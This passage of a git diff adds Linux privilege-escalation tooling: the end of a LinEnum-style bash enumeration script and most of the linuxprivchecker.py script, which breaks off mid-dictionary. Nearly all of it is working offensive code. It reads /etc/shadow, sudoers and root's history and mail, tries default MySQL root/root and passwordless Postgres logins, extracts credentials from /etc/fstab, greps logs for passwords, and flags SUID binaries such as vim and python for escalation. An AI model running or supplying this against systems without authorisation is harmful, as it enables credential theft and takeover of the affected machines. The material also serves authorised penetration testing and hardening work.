: +fi + +xinetdincd=`cat /etc/xinetd.conf 2>/dev/null |grep "/etc/xinetd.d" 2>/dev/null` +if [ "$xinetdincd" ]; then + echo -e "\e[00;31m/etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m" ls -la /etc/xinetd.d 2>/dev/null |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each +xinetdbinperms=`cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` +if [ "$xinetdbinperms" ]; then + echo -e "\e[00;31mThe related xinetd binary permissions:\e[00m\n$xinetdbinperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +initdread=`ls -la /etc/init.d 2>/dev/null` +if [ "$initdread" ]; then + echo -e "\e[00;31m/etc/init.d/ binary permissions:\e[00m\n$initdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#init.d files NOT belonging to root! +initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$initdperms" ]; then + echo -e "\e[00;31m/etc/init.d/ files not belonging to root (uid 0):\e[00m\n$initdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` +if [ "$rcdread" ]; then + echo -e "\e[00;31m/etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#init.d files NOT belonging to root! +rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$rcdperms" ]; then + echo -e "\e[00;31m/etc/rc.d/init.d files not belonging to root (uid 0):\e[00m\n$rcdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` +if [ "$usrrcdread" ]; then + echo -e "\e[00;31m/usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#rc.d files NOT belonging to root! +usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$usrrcdperms" ]; then + echo -e "\e[00;31m/usr/local/etc/rc.d files not belonging to root (uid 0):\e[00m\n$usrrcdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" |tee -a $report 2>/dev/null + +#sudo version - check to see if there are any known vulnerabilities with this +sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` +if [ "$sudover" ]; then + echo -e "\e[00;31mSudo version:\e[00m\n$sudover" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#mysql details - if installed +mysqlver=`mysql --version 2>/dev/null` +if [ "$mysqlver" ]; then + echo -e "\e[00;31mMYSQL version:\e[00m\n$mysqlver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if root/root will get us a connection +mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` +if [ "$mysqlconnect" ]; then + echo -e "\e[00;33m***We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#mysql version details +mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` +if [ "$mysqlconnectnopass" ]; then + echo -e "\e[00;33m***We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#postgres details - if installed +postgver=`psql -V 2>/dev/null` +if [ "$postgver" ]; then + echo -e "\e[00;31mPostgres version:\e[00m\n$postgver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this +postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon1" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon11" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon2" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon22" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#apache details - if installed +apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` +if [ "$apachever" ]; then + echo -e "\e[00;31mApache version:\e[00m\n$apachever" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#what account is apache running under +apacheusr=`cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' |awk '{sub(/.*\export /,"")}1'` +if [ "$apacheusr" ]; then + echo -e "\e[00;31mApache user configuration:\e[00m\n$apacheusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$apacheusr" ]; then + mkdir --parents $format/etc-export/apache2/ 2>/dev/null + cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" |tee -a $report 2>/dev/null + +#checks to see if various files are installed +echo -e "\e[00;31mUseful file locations:\e[00m" |tee -a $report 2>/dev/null; which nc 2>/dev/null |tee -a $report 2>/dev/null; which netcat 2>/dev/null |tee -a $report 2>/dev/null; which wget 2>/dev/null |tee -a $report 2>/dev/null; which nmap 2>/dev/null |tee -a $report 2>/dev/null; which gcc 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#limited search for installed compilers +compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` +if [ "$compiler" ]; then + echo -e "\e[00;31mInstalled compilers:\e[00m\n$compiler" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +#manual check - lists out sensitive files, can we read/modify etc. +echo -e "\e[00;31mCan we read/write sensitive files:\e[00m" |tee -a $report 2>/dev/null; ls -la /etc/passwd 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/group 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/master.passwd 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#search for suid files - this can take some time so is only 'activated' with thorough scanning switch (as are all suid scans below) +if [ "$thorough" = "1" ]; then +findsuid=`find / -perm -4000 -type f -exec stat -c '%A %n' {} + 2>/dev/null` + if [ "$findsuid" ]; then + echo -e "\e[00;31mSUID files:\e[00m\n$findsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$findsuid" ]; then + mkdir $format/suid-files/ 2>/dev/null + for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#list of 'interesting' suid files - feel free to make additions +if [ "$thorough" = "1" ]; then +intsuid=`find / -perm -4000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la` 2>/dev/null + if [ "$intsuid" ]; then + echo -e "\e[00;33m***Possibly interesting SUID files:\e[00m\n$intsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists word-writable suid files +if [ "$thorough" = "1" ]; then +wwsuid=`find / -perm -4007 -type f 2>/dev/null` + if [ "$wwsuid" ]; then + echo -e "\e[00;31mWorld-writable SUID files:\e[00m\n$wwsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable suid files owned by root +if [ "$thorough" = "1" ]; then +wwsuidrt=`find / -uid 0 -perm -4007 -type f 2>/dev/null` + if [ "$wwsuidrt" ]; then + echo -e "\e[00;31mWorld-writable SUID files owned by root:\e[00m\n$wwsuidrt" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#search for guid files - this can take some time so is only 'activated' with thorough scanning switch (as are all guid scans below) +if [ "$thorough" = "1" ]; then +findguid=`find / -perm -2000 -type f 2>/dev/null` + if [ "$findguid" ]; then + echo -e "\e[00;31mGUID files:\e[00m\n$findguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$findguid" ]; then + mkdir $format/guid-files/ 2>/dev/null + for i in $findguid; do cp $i $format/guid-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#list of 'interesting' guid files - feel free to make additions +if [ "$thorough" = "1" ]; then +intguid=`find / -perm -2000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la` + if [ "$intguid" ]; then + echo -e "\e[00;33m***Possibly interesting GUID files:\e[00m\n$intguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable guid files +if [ "$thorough" = "1" ]; then +wwguid=`find / -perm -2007 -type f 2>/dev/null` + if [ "$wwguid" ]; then + echo -e "\e[00;31mWorld-writable GUID files:\e[00m\n$wwguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable guid files owned by root +if [ "$thorough" = "1" ]; then +wwguidrt=`find / -uid 0 -perm -2007 -type f 2>/dev/null` + if [ "$wwguidrt" ]; then + echo -e "\e[00;31mAWorld-writable GUID files owned by root:\e[00m\n$wwguidrt" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#list all world-writable files excluding /proc +if [ "$thorough" = "1" ]; then +wwfiles=`find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null` + if [ "$wwfiles" ]; then + echo -e "\e[00;31mWorld-writable files (excluding /proc):\e[00m\n$wwfiles" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wwfiles" ]; then + mkdir $format/ww-files/ 2>/dev/null + for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#are any .plan files accessible in /home (could contain useful information) +usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$usrplan" ]; then + echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$usrplan" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$usrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +else + : +fi + +bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$bsdusrplan" ]; then + echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$bsdusrplan" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$bsdusrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +else + : +fi + +#are there any .rhosts files accessible - these may allow us to login as another user etc. +rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostsusr" ]; then + echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$rhostsusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$rhostsusr" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$bsdrhostsusr" ]; then + echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$bsdrhostsusr" ]; then + mkdir $format/rhosts 2>/dev/null + for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostssys" ]; then + echo -e "\e[00;31mHosts.equiv file details and file contents: \e[00m\n$rhostssys" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$rhostssys" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +#list nfs shares/permisisons etc. +nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` +if [ "$nfsexports" ]; then + echo -e "\e[00;31mNFS config details: \e[00m\n$nfsexports" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$nfsexports" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/exports $format/etc-export/exports 2>/dev/null +else + : +fi + +#looking for credentials in /etc/fstab +fstab=`cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1'| xargs -r echo username:; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1'| xargs -r echo password:; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1'| xargs -r echo domain:` +if [ "$fstab" ]; then + echo -e "\e[00;33m***Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$fstab" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +else + : +fi + +fstabcred=`cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1'| xargs -I{} sh -c 'ls -la {}; cat {}'` +if [ "$fstabcred" ]; then + echo -e "\e[00;33m***/etc/fstab contains a credentials file!\e[00m\n$fstabcred" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$fstabcred" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +else + : +fi + +#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ]; then + echo -e "Can't search *.conf files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$confkey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .conf files" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + fi +fi + +if [ "$keyword" = "" ]; then + : + else + if [ "$export" ] && [ "$confkey" ]; then + confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null + for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null + else + : + fi +fi + +#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "Can't search *.log files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + logkey=`find / -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$logkey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .log files (output format filepath:identified line number where keyword appears):\e[00m\n$logkey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .log files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .log files" + echo -e "\n" |tee -a $report 2>/dev/null + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$logkey" ]; then + logkeyfile=`find / -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null + for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null + else + : + fi +fi + +#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "Can't search *.ini files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$inikey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .ini files" |tee -a $report 2>/dev/null + echo -e "\n" + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$inikey" ]; then + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null + for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null + else + : + fi +fi + +#quick extract of .conf files from /etc - only 1 level +allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` +if [ "$allconf" ]; then + echo -e "\e[00;31mAll *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$allconf" ]; then + mkdir $format/conf-files/ 2>/dev/null + for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null +else + : +fi + +#extract any user history files that are accessible +usrhist=`ls -la ~/.*_history 2>/dev/null` +if [ "$usrhist" ]; then + echo -e "\e[00;31mCurrent user's history files:\e[00m\n$usrhist" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$usrhist" ]; then + mkdir $format/history_files/ 2>/dev/null + for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null + else + : +fi + +#can we read roots *_history files - could be passwords stored etc. +roothist=`ls -la /root/.*_history 2>/dev/null` +if [ "$roothist" ]; then + echo -e "\e[00;33m***Root's history files are accessible!\e[00m\n$roothist" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$roothist" ]; then + mkdir $format/history_files/ 2>/dev/null + cp $roothist $format/history_files/ 2>/dev/null +else + : +fi + +#is there any mail accessible +readmail=`ls -la /var/mail 2>/dev/null` +if [ "$readmail" ]; then + echo -e "\e[00;31mAny interesting mail in /var/mail:\e[00m\n$readmail" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#can we read roots mail +readmailroot=`head /var/mail/root 2>/dev/null` +if [ "$readmailroot" ]; then + echo -e "\e[00;33m***We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readmailroot" ]; then + mkdir $format/mail-from-root/ 2>/dev/null + cp $readmailroot $format/mail-from-root/ 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" |tee -a $report 2>/dev/null + +#EndOfScript diff --git a/privesc/linuxprivchecker.py b/privesc/linuxprivchecker.py new file mode 100755 index 0000000..d29f487 --- /dev/null +++ b/privesc/linuxprivchecker.py @@ -0,0 +1,372 @@ +#!/usr/env python + +############################################################################################################### +## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script +## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift +##------------------------------------------------------------------------------------------------------------- +## [Details]: +## This script is intended to be executed locally on a Linux box to enumerate basic system info and +## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text +## passwords and applicable exploits. +##------------------------------------------------------------------------------------------------------------- +## [Warning]: +## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates, +## I did not write it to be efficient and in some cases you may find the functions may not produce the desired +## results. For example, the function that links packages to running processes is based on keywords and will +## not always be accurate. Also, the exploit list included in this function will need to be updated over time. +## Feel free to change or improve it any way you see fit. +##------------------------------------------------------------------------------------------------------------- +## [Modification, Distribution, and Attribution]: +## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original +## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's +## worth anything anyway :) +############################################################################################################### + +# conditional import for older versions of python not compatible with subprocess +try: + import subprocess as sub + compatmode = 0 # newer version of python, no need for compatibility mode +except ImportError: + import os # older version of python, need to use os instead + compatmode = 1 + +# title / formatting +bigline = "=================================================================================================" +smlline = "-------------------------------------------------------------------------------------------------" + +print bigline +print "LINUX PRIVILEGE ESCALATION CHECKER" +print bigline +print + +# loop through dictionary, execute the commands, store the results, return updated dict +def execCmd(cmdDict): + for item in cmdDict: + cmd = cmdDict[item]["cmd"] + if compatmode == 0: # newer version of python, use preferred subprocess + out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() + results = out.split('\n') + else: # older version of python, use os.popen + echo_stdout = os.popen(cmd, 'r') + results = echo_stdout.read().split('\n') + cmdDict[item]["results"]=results + return cmdDict + +# print results for each previously executed command, no return value +def printResults(cmdDict): + for item in cmdDict: + msg = cmdDict[item]["msg"] + results = cmdDict[item]["results"] + print "[+] " + msg + for result in results: + if result.strip() != "": + print " " + result.strip() + print + return + +def writeResults(msg, results): + f = open("privcheckout.txt", "a"); + f.write("[+] " + str(len(results)-1) + " " + msg) + for result in results: + if result.strip() != "": + f.write(" " + result.strip()) + f.close() + return + +# Basic system info +print "[*] GETTING BASIC SYSTEM INFO...\n" + +results=[] + +sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results}, + "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results}, + "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results} + } + +sysInfo = execCmd(sysInfo) +printResults(sysInfo) + +# Networking Info + +print "[*] GETTING NETWORKING INFO...\n" + +netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results}, + "ROUTE":{"cmd":"route", "msg":"Route", "results":results}, + "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results} + } + +netInfo = execCmd(netInfo) +printResults(netInfo) + +# File System Info +print "[*] GETTING FILESYSTEM INFO...\n" + +driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results}, + "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results} + } + +driveInfo = execCmd(driveInfo) +printResults(driveInfo) + +# Scheduled Cron Jobs +cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results}, + "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results} + } + +cronInfo = execCmd(cronInfo) +printResults(cronInfo) + +# User Info +print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" + +userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, + "ID":{"cmd":"id","msg":"Current User ID", "results":results}, + "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, + "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results}, + "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, + "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, + "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, + "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results} + } + +userInfo = execCmd(userInfo) +printResults(userInfo) + +if "root" in userInfo["ID"]["results"][0]: + print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" + +# File/Directory Privs +print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" + +fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, + "WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, + "WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results}, + "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results}, + "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results} + } + +fdPerms = execCmd(fdPerms) +printResults(fdPerms) + +pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results}, + "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results}, + "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results} + } + +pwdFiles = execCmd(pwdFiles) +printResults(pwdFiles) + +# Processes and Applications +print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" + +if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: + getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian +else: + getPkgs = "rpm -qa | sort -u" # RH/other + +getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results}, + "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} + } + +getAppProc = execCmd(getAppProc) +printResults(getAppProc) # comment to reduce output + +otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results}, + "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results}, + 